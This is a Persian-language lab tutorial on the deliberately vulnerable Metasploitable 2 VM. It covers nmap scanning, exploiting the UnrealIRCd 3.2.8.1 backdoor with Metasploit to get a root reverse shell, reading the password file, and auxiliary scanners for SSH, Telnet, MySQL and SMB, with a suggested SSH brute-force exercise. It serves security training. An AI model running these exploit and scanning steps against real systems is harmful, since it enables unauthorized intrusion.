احسان امجدی
کارشناس امنیت اطلاعات و ارتباطات

آموزش MetaSploitable و اسکن آسیب پذیری و نفوذ

اگر خاطرتان باشد در آموزش های ابتدایی از سیستم عامل کالی، گفتیم که برای اجرای سناریوهای خودمان نیاز به محیطی داریم تا بصورت حداقلی بصورت محیط واقعی شبیه سازی شده باشد. برای این منظور نیاز به یک سیستم عامل کالی، یک سیستم عامل ویندوز 7 و یک سیستم عامل Metasploitable به عنوان مقصد حملات داریم. تا اینجا توانستیم سیستم عامل کالی را برای شما تشریح کنیم و حداقل کارکردهای آن را بشما آموزش دهیم. امروز قصد داریم تا درباره پلت فرم Metasploitable صحبت کنیم. این بخش نیز مانند برخی آموزش های دیگر به علت گستردگی و تنوع مطالب در چند قسمت بیان خواهد شد. با ما همراه باشید:

دوره های شبکه، برنامه نویسی، مجازی سازی، امنیت، نفوذ و ... با برترین های ایران

معرفی

پلت فرم Metasploitable 2 بصورت هدفدار یک توزیع آسیب پذیر در لینوکس قرار داده شده است. این بدین معنی است که این سیستم عامل دارای حفره ها و آسیب پذیری های شناخته شده و از پیش تعبیه شده در جهت هدفی که گفتیم است. این سیستم عامل یک پلت فرم آموزشی است که در کنار Metasploit جهت تمرین و تقویت مهارت حفظ امنیت سیستم در محیط واقعی استفاده میشود. بسیاری از کاربران بر این تصورند که لینوکس و یا Mac OS بسیار امن تر از ویندوز هستند. اما مثل ویندوز، اگر بر روی این سیستم عامل ها نیز وصله ها و بروز رسانی ها را نصب نکنید، آن ها نیز آسیب پذیر خواهند شد.در این بخش بر روی نصب و استفاده از Metasploitable 2 وقت زیادی خواهیم گذاشت تا مطلب برای مخاطب بطور کامل جا بیافتد!

نصب و استفاده از Metasploitable

پلت فرم Metasploitable 2 بصورت یک ماشین مجازی در دسترس و قابل استفاده است. فقط کافیست که فایل آن را دانلود کرده، از حالت فشرده خارج کنیم و آن را باز نرم افزار VMWare Player اجرا کنیم. این کار بسیار ساده است. اگر بجای VMWare Player از نرم افزار Virtual Box استفاده کردید، میتوانید برای آموزش نصب Metasploitable 2 بر روی آن از ویدئوهای آموزشی که در این زمینه وجود دارد، استفاده کنید.

  • هشدار: هرگز Metasploitable را بر روی سیستم های عمومی و یا دارای دسترسی مستقیم به اینترنت (بدون وجود فایروال) نصب نکنید. این سیستم عامل ذاتا دارای آسیب پذیری است.

خوب به ادامه فرآیند نصب بر میگردیم؛ هنگامی که Metasploitable بوت شد، شما با صفحه لاگین زیر روبرو میشوید:

وب سایت توسینسو

برای لاگین از شناسه کاربری و کلمه عبور زیر استفاده نمایید:

Msfadmin//msfadmin

حفره ها و باگ های زیادی در مورد شناسه کاربری و پسورد پیش فرض در این پلت فرم وجود دارد و نکته جالب اینست که توسعه دهندگان این سیستم عامل عین این عبارت را در صفحه نمایش نیز بوضوح نشان میدهند! بهر حال پس از لاگین کردن مستقیما به یک ترمینال هدایت خواهید شد:

وب سایت توسینسو

البته ما به این خاطر در Metasploitable نیستیم که بواسطه کیبورد از آن استفاده کنیم؛ هدف ما اینست که بصورت ریموت از سمت کالی به این سیستم وصل شویم.

در این قسمت میخواهیم ضمن ادامه آموزش، نحوه اسکن کردن این سیستم عامل از طریق کالی را نیز بررسی کنیم. با ما همراه باشید:

اسکن کردن مقصد

یکی از اولین اقداماتی که در بسیاری از تست های امنیتی استفاده میشود، انجام اسکن از طریق "nmap" است. این کار به منظور تشخیص پورت های باز انجام میشود و در حالت امیدوارانه حتی میتوان نعین کرد که چه سرویس هایی بر روی آن پورت ها نصب شده اند و در حال اجرا هستند. اگر ما بتوانیم پورت های باز و نسخه برنامه سرویس ها را تعین کنیم، به احتمال زیاد بتوانیم پس از آن از آسیب پذیری موجود در سرویس استفاده کرده و سیستم را بخطر بیاندازیم. اجازه بدهید تا از طریق مموعه کالی، نگاهی بر Metasploitable بیاندازیم.اولین چیزی که باید انجام شود این است که اسکن "namp" را اجرا کرده و مشاهده کنیم که سرویس هایی نصب شده اند. پس پنجره ترمینال را بر روی کالی باز کرده و عبارت زیر را تایپ می کنیم:

<Nmap –sS –Pn <metasploitable,s IP Address

در بخش آخر از عبارت بالا باید آدرس IP مربوط به سیستم metasploitable را قرار دهیم که در اینجا 192.168.198.145 فرض شده است. اگر شما بطور دقیق آدرس IP سیستم Metasploitable را نمیدانید، باید بازه ای از آدرس ها را با تایپ عبارتی شبیه "nmap –sS –Pn 192.168.198.1-150" انتخاب کنید.سوئیچ "sS-" به nmap دستور میدهد تا اسکن را در مود سرقت اطلاعات انجام دهد. سوئیچ "Pn-" به nmap این دستور را میدهد تا برای پی بردن به up بودن سیستم ها از ping برای اسکن استفاده نکند. این دستور بما پورت های باز را نشان میدهد و سعی خواهد کرد تا سرویس های در حال اجرا را نیز تشخیص دهد:

وب سایت توسینسو

همانطور که میبینید تعداد زیادی پورت باز وجود دارد ! بسیار خوب؛ حالا میخواهیم ببینیم آیا میتوان متوجه شد که چه سرویس هایی بر روی این پورت های باز در حال اجرا هستند؟ مجددا دستور "nmap" را اجرا میکنیم، اما این بار سوئیچ "-A" را نیز به ان اضافه میکنیم. این سوئیچ سیستم عامل را شناسایی کرده و سعی میکند نسخه سرویس های آن را تشخیص دهد:

Nmap –sS –Pn –A 192.168.198.145

"nmap" در یک لحظه تمام پارامترها را زیر و رو میکند تا سرویس های اصلی اجرا شده بر روی این پورت ها را شناسایی کند. در کمتر از چند دقیقه، صفحه ای را خواهید دید که شبیه به شکل زیر خواهد بود:

وب سایت توسینسو

در مورد هر پورت، شماره پورت، نوع سرویس و حتی نسخه نرم افزاری سرویس را هم مشاهده میکنید. در شکل بالا تعدادی پورت معمولی را میبینیم که باز هستند؛ سرویس هایی زیادی نیز هستند که بر روی پورت ها بالاتر اجرا میشوند. بطور خاص یکی از آن ها برنامه "(Unreal Internet Relay Chat (IRC" است:

وب سایت توسینسو

معمولا در آموزش ها به این موضوع پس از بررسی سرویس پورت های اصلی رسیدگی میشود. اما ما توصیه میکنیم سرویس هایی را جستجو کنید که بر روی پورت های بالاتر اجرا میشوند. اینکار بسیار شبیه بازدید و بروز رسانی سرویس های اصلی و یا سرویس های ثانویه ای هستند که یکبار نصب شده اند و در گذر زمان ممکن است آن را از یاد برده باشید.حال میخواهیم ببینیم چه چیزهایی درباه سرویس Unreal IRC پیدا خواهیم کرد. در تصویر بالا میتوانیم نسخه نرم افزار را ببنیم. در این مورد نسخه نرم افزار "Unreal IRC 3.2.8.1" است.

مرحله بعدی ما جستجو در رابطه با آسیب پذیری موجود با این نرم افزار منتشر شده است. برای این منظور عبارت "unreal 3.2.8.1 exploits" را در موتور جستجوی گوگل جستجو کنید. اما سوال اینست که در حالی که میتوانیم جستجو را با استفاده از Metasploit انجام دهیم، الزام استفاده از موتور جستجوی گوگل چیست؟

در این بخش نیز در ادامه صحبت های پیشین قصد داریم تا به exploit کردن سرویس Unreal IRC بپردازیم.در مورد این سرویس بصورت مختصر در قسمت پیش توضیح دادیم و پیشنهاد میکنیم برای شروع این بخش ابتدا به مطالعه قسمت پیش بپردازید. با ما همراه باشید:

برای شروع کار ابتدا Metasploit را اجرا میکنیم:

root@kali:~#msfconsole

حالا از دستور "search" استفاده کرده و در قسمت "نام سرویس" و "نسخه برنامه" جایگذاری میکنیم:

Msf> search Unreal 3.2.8.1

اجرای این دستور، نتیجه زیر را برمیگرداند:

وب سایت توسینسو

یک بکدور Unreal 3.2.8.1 با قابلیت اطمینان "excellent"! بد نیست بدانید که Exploit ها بر اساس درصد موفقیت و ماندگاری شان رتبه بندی میشوند.اگر تعریف Metasploit را به یاد داشته باشید، میدانید که راه های مختلفی برای بهره برداری (Exploit) از یک آسیب پذیری وجود دارد:

  • انتخاب یک Exploit
  • تنظیم آپشن های Exploit
  • انتخاب یک payload
  • تنظیم اپشن های payload
  • اجرای Exploit
  • برقراری ارتباط با سیستم ریموت

حال میخواهیم طبق این دستور العمل سناریو خود را پیش ببریم.

انتخاب یک Exploit

اگر از دستور "info" استفاده کنیم، میتوانیم کمی بیشتر در مورد Exploit احتمالیمان اطلاعات کسب کنیم.

Msf > info exploit/unix/irc/unreal_ircd_3281_backdoor

با اجرای این دستور، توضیحات زیر بما برگردانده میشود:

  • این ماژول از یک بکدور ناخواسته که در آرشیو دانلود Unreal IRCD 3.2.8.1 اضافه شده است، سوء استفاده میکند. این بکدور در آرشیو Unreal3.2.8.1.tar.gz و بین تاریخ نوامبر 2009 تا 12 ژوئن 2010 موجود است. &quot;&quot;

ادامه میدهیم : میخواهیم از Exploit مورد نظرمان استفاده کنیم. پس فرمان زیر را وارد کرده و آپشن های آن را چک میکنیم:

 Use exploit/unix/irc/unreal_ircd_3281_backdoor 
وب سایت توسینسو

همانطور که میبینید، آپشن های زیادی برای تنظیم وجود ندارد. فقط کافیست که آدرس Host مقصد را وارد کنیم:

Set RHOST 192.168.198.145

که در اینجا 192.168.198.145، ادرس Metasploitable است.

انتخاب یک payload

حالا نیاز داریم تا یک payload را انتخاب کنیم. برای این منظور تایپ میکنیم : "show payloads" تا تمام payload هایی که با Exploit مورد نظر ما سازگار هستند، نمایش داده شوند:

وب سایت توسینسو

متاسفانه تمام آن ها از نوع شل های دستوری (command shell) هستند. خوب همانطور که قبلا هم بشما آموزش دادیم، یک Meterpreter shell ذاتا بهتر از یک شل دستوری یا command shell است؛ اما در این مورد خاص چاره ای نداریم بجز آن که یکی از شل های دستوری را انتخاب کنیم. از generic reverse shell استفاده میکنیم. این شل پس از اتمام Exploit، دقیقا ما را درون یک terminal shell در سیستم هدف قرار میدهد. حالا باید عبارت زیر را تایپ کنید:

Set payload cmd/unix/reverse

و سپس :

Show options
وب سایت توسینسو

تنظیم آپشن های payload

برای این payload آن چیزی که احتیاج داریم اینست که دستور "LHOST" را تنظیم کرده (آدرس IP سیستم کالی) و سپس مجددا برای اطمینان از صحت انجام کارها دستور "show options" را وارد کنیم:

وب سایت توسینسو

مقادیر RHOST (سیستم مقصد) و LHOST (سیستم کالی) بدرستی جایگذاری شده اند. همه چیز در نقطه اوج خودش قرار دارد و در نهایت برای رسیدن به هدفمان باید دستور "exploit" را صادر کنیم:

وب سایت توسینسو

بیاد داشته باشید که نهایت کاری که با اجرای این دستور برای شما انجام شده است، باز شدن یک session است و بعد از آن یک کرسر چشمک زن انتظار اقدام بعدی شما را میکشد.شما در سیستم هدف و در یک Terminal shell قرار دارید!

وب سایت توسینسو

همانطور که میبینید، ما عبارت "whoami" را تایپ کردیم و سیستم بلافاصله با کلمه "root" به استقبال ما آمد. شناسه کاربری root بالاترین دسترسی و سطح را در یک سیستم لینوکسی دارد.پس همانطور که مشاهده کردید، exploit و payload ما کار میکند! این نکته را هم بگوییم که تمام دستورات استاندارد لینوکس در شل ی که ما داریم کار میکنند. برای مثال میتوانیم فایل پسورد را نشان دهیم:

وب سایت توسینسو

همانطور که دیدید، توانستیم با کرک کردن فایل پسورد ها، به پسوردهای واقعی دست پیدا کنیم. اما اگر برایتان گنگ بود، نگران نباشید. این کار را فقط برای تست انجام دادیم و در آموزش حملات پسورد بصورت کامل اینکار را برایتان شرح خواهیم داد.

 در آموزش قبل نگاهی انداختیم بر اسکن سیستم توسط nmap تا بتوانیم پورت های باز و سرویس ها شناسایی کنیم. اما در این بخش مروری خواهیم داشت بر برخی از اسکنرهایی که بصورت پیش فرض و کمکی در Metasploit تعبیه شده اند.اجرای اسکن nmap تعداد بسیار زیادی از پورت های باز را برای ما نمایش خواهد داد تا از بین آن ها پورت مورد نظر خود را انتخاب کنیم.

این در حالی است که بسیاری از کاربران از وجود تعداد قابل توجهی اسکنر پیش فرض در Metasploit بی خبرند. این اسکنرها به ما این امکان را میدهند تا اطلاعات سرویس را جستجو و به تبع آن از یک سیستم یا یک شبکه بازیابی کنیم! با گفتن این مقدمه کم کم کار خود را شروع میکنیم. در این آموزش مجددا از سیستم کالی به عنوان پلت فرم تست و از پلت فرم Metasploitable2 به عنوان سیستم آسیب پذیر مقصد استفاده میکنیم.

استفاده از اسکنر

برای پیدا کردن اسکنرهای موجود دستور "msfcosole" را در کالی اجرا میکنیم. بعد از آن که Metasploit اجرا گردید، عبارت "search scanner" را تایپ میکنیم:

Msf > search scanner
استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable - بخش اول

لیست را از تا انتها بخوانید و از اسکنرهای موجود مطلع شوید. در این آموزش بازه فعالیتمان را محدود در توجه به پورت های معمولی که باز هستند میکنیم. برای آن که مروری هم شود در اینجا نتیجه اسکن nmap را که در آموزش پیش بدست اوریم مجددا بررسی میکنیم:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable - بخش اول

با توجه به شکل بالا، بر روی پورت 22 که (Secure Shell(SSL است، زوم میکنیم. خوب حالا چند خط به بالا بر میگردیم و در Metasploit به دنبال اسکنرهای SSH می گردیم:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable - بخش اول

همانطور که مشاهده میکنید، تمام نتایج مربوط به اسکنرهای SSH هستند اما در از آنجایی که ما بدنبال اطلاعات نسخه هستیم، بنابراین از ماژول "auxiliary//scanner//ssh//ssh_version" استفاده خواهیم کرد.

1. عبارت " auxiliary//scanner//ssh//ssh_version" را تایپ کنید.

2. برای دیدن آپشن های موجود عبارت "show options" را تایپ کنید.

3. در این ماژول باید آدرس مقصد را با تایپ عبارت "set RHOSTS IP" مشخص کنیم؛ که بجای IP باید آدرس متناظر را وارد کرد.

4. و در مرحله آخر فقط باید با تایپ "exploit" کار را اجرایی کنیم.


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable - بخش اول

میبینیم که مقصد ما یک سرور SSH را بر روی خودش اجرا میکند و نسخه نرم افزار آن بصورت زیر است:

"SSH-2.0-OpenSSH_4.7pl Debian-8ubuntu"

حالا ما شماره نسخه ssh را داریم و باید سعی کنیم برای آن با استفاده از اطلاعات بدست آمده یک exploit مناسب را پیدا کنیم و یا آنکه با استفاده از ماژول پیش فرض و کمکی دیگر؛ "auxiliary//scanner//ssh//ssh_login"؛ یک حمله Brute force را ترتیب دهیم. این مراحل را به عنوان تمرین میتوانید خودتان انجام دهید.

  • نکته: بیاد داشته باشید که میتوان بجای استفاده از یک آدرس IP خاص در مقابل عبارت RHOSTS، از رنج کامل سیستم های یک شبکه استفاده کرد تا بتوانیم با اجرای آن سرورهای ssh در سطح شبکه پیدا کنیم.

همانطور که در بخش پیش به معرفی اسکنرهای کمکی در Metasploitable پرداختیم در این بخش نیز میخواهیم به عنوان ادامه قسمت پیش بحث را ادامه دهیم. در بخش پیش توانستیم لیستی از اسکنرهای موجود در این سیستم عامل آسیب پذیر را مشاهده کنیم. بد نیست که بدانیم استفاده از برخی اسکنرها اطلاعات متمایزی را نسبت به اسکنرهای دیگر در اختیارمان قرار میدهند. بطور مثال میتوان به اسکنر MySQL اشاره کرد. پیشنهاد میشود برای شروع این بخش ابتدا مروری بر قسمت اول این آموزش داشته باشید.

MySQL

به عنوان مثال به اسکنر MySQL اشاره کردیم. اگر ما از این اسکنر استفاده کنیم، نتایج زیر را خواهیم داشت:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

اسکن انجام شده نشان میدهد که بر روی سرور مورد نظر، MySQL 5.0.51.a در حال اجراست. اسکن های دیگر اطلاعات جالب تری را از خود به نمایش میگذارند. برای مثال نگاهی بر اسکن Telnet می اندازیم.

TELNET

اسکنر نسخه telnet میتواند از دو مسیر مختلف کار خود را انجام دهد. اگر ما از شناسه کاربری و پسورد استفاده کنیم، اسکنر سعی خواهد کرد تا به سرویس مورد نظر لاگین نماید و در غیر این صورت از تکنیک Banner grabbing استفاده خواهد نمود. Banner grabbing یک تکنیک شمارش است که در جمع آوری اطلاعات درباره یک سیستم در شبکه و سرویس های در حال اجرا بر روی پورت های بازشان، استفاده میشود.بیاد داشته باشید که این روش مطابق روش های اسکن قبلی که گفتیم نیست و در نتیجه خود شماره نسخه را بر نمیگرداند. در این روش فقط از تکنیک Banner grab استفاده میشود. با این اوصاف در برخی موارد میتواند اطلاعات جالبی را از ان برداشت نمایید. اسکن را با هم انجام میدهیم:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم
استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

همانطور که مشاهده میکنید دسته ای از عبارات را داریم که هیچ اشاره ای به سطح اجرای نرم افزار نکرده اند. اما اگر دقیقتر نگاه کنیم، در میان عبارات درهم و برهم، چیز دیگری را خواهیم دید:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

" Login with msfadmin//msfadmin to get started". چه چیزی از این بهتر؟ به همین راحتی شناسه کاربری و کلمه عبور Telnet در سیستم هدف در اختیارمان قرار میگیرد. اما واقعا آیا این یک شوخی است یا صحت دارد؟ برای اطمینان از درستی آن، امتحانش میکنیم:

استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

بله درست است! و ما الان دقیقا توانستیم با همین سادگی به سیستم هدف Telnet بزنیم. حال اگر دستور "ID" را اجرایی کنیم، میتوانیم ببینیم این یوزر که یوزر اصلی است، عضو چه گروه های دیگری نیز هست:


استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

این اطلاعات ممکن است در Exploit سرویس های دیگر مورد استفاده قرار گیرد. آن چیزی که باور کردنی نیست این است که یک شرکت اطلاعات لاگین سرویس را در صفحه لاگین آن سرویس قرار داده است. اما باور کنید یا نه، این قضیه در زندگی واقعی ما بصورت خیلی واقعی اتفاق افتاده است و خواهد افتاد!

اسکن کردن محدوده ای از آدرس ها

آن چیزی که موضوع را جالب میکند، این است که با برنامه های اسکنر ارائه شده، آپشن های مختلفی در اختیار داریم که میتوانیم آن ها را تنظیم کنیم. برای مثال اسکنر SMB را اجرا میکنیم:

استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

مطابق شکل بالا، RHOSTS را با آدرس 192.168.198.145 تنظیم میکنیم. اسکنر این آدرس را اسکن میکند و نسخه Samba ای را که بر روی سیستم هدف در حال اجراست، بر میگرداند.

  • نکته: Sambaیک نرم افزار رایگان است که تحت پروتکل شبکه ای SMB، سرویس های فایل و پرینت را برای کلاینت ها ارائه میکند و قابلیت یکپارچه شدن با دومین و DC را نیز به عنوان یک عضو دومین دارد.

به بحثمان برگردیم. گفتیم که اسکنر SMB میتواند نسخه Samba موجود بر روی یک آدرس خاص را برگرداند. اما اگر بخواهیم این اسکن را به کل سیستم های موجود در شبکه که Samba را اجرا میکنند تعمیم دهیم، چکار باید انجام داد؟ اینجا دقیقا همکان نقطه ای است که ظرافت و زیبایی دستور "RHOSTS به بازی وارد میشود. بجای آن که یک هاست را اسکن کنیم، میتوانیم تمام 256 کلاینت موجود در شبکه 192.168.198.0 را اسکن کنیم. برای انجام کار همان مراحل قبل را انجام میدهیم با این تفاوت که تغییرات زیر را در دستور "RHOSTS" اعمال میکنیم:

استفاده از اسکنرها در سیستم عامل آسیب پذیر Metasploitable- بخش دوم

تمام 256 هاست موجود در شبکه اسکن خواهند شد و در نتیجه متوجه میشویم که سرویس Samba بر روی ماشین Metasploitable 2 با آدرس 192.168.198.145 در حال اجرا است. مقدار پارامتر "Threads" بطور پیش فرض بر روی عدد 1 تنظیم شده است. اگر هدفمان اسکن یک شبکه محلی است میتوان جهت تسریع سرعت اسکن مقدار آن را تا 255 بالا برد و اگر در حال انجام تست بر روی یک شبکه راه دور هستیم، آن را تا مقدار 50 میتوانیم افزایش دهیم.در قسمت بعد از آموزشمان قصد داریم تا نحوه Exploit کردن سرویس Samba رابه شما آموزش دهیم. پس با ما همراه باشید.سربلند و مانا باشید.


احسان امجدی
احسان امجدی

کارشناس امنیت اطلاعات و ارتباطات

احسان امجدی ، مشاور امنیت اطلاعات و ارتباطات و تست نفوذ سنجی ، هکر کلاه سفید ، مدرس دوره های تخصصی امنیت اطلاعات و شبکه ، تخصص در حوزه های سرویس های مایکروسافت ، Routing و Switching ، مجازی سازی ، امنیت اطلاعات و تست نفوذ ، کشف جرائم رایانه ای و سیستم عامل لینوکس ، متخصص در حوزه SOC و ...

نظرات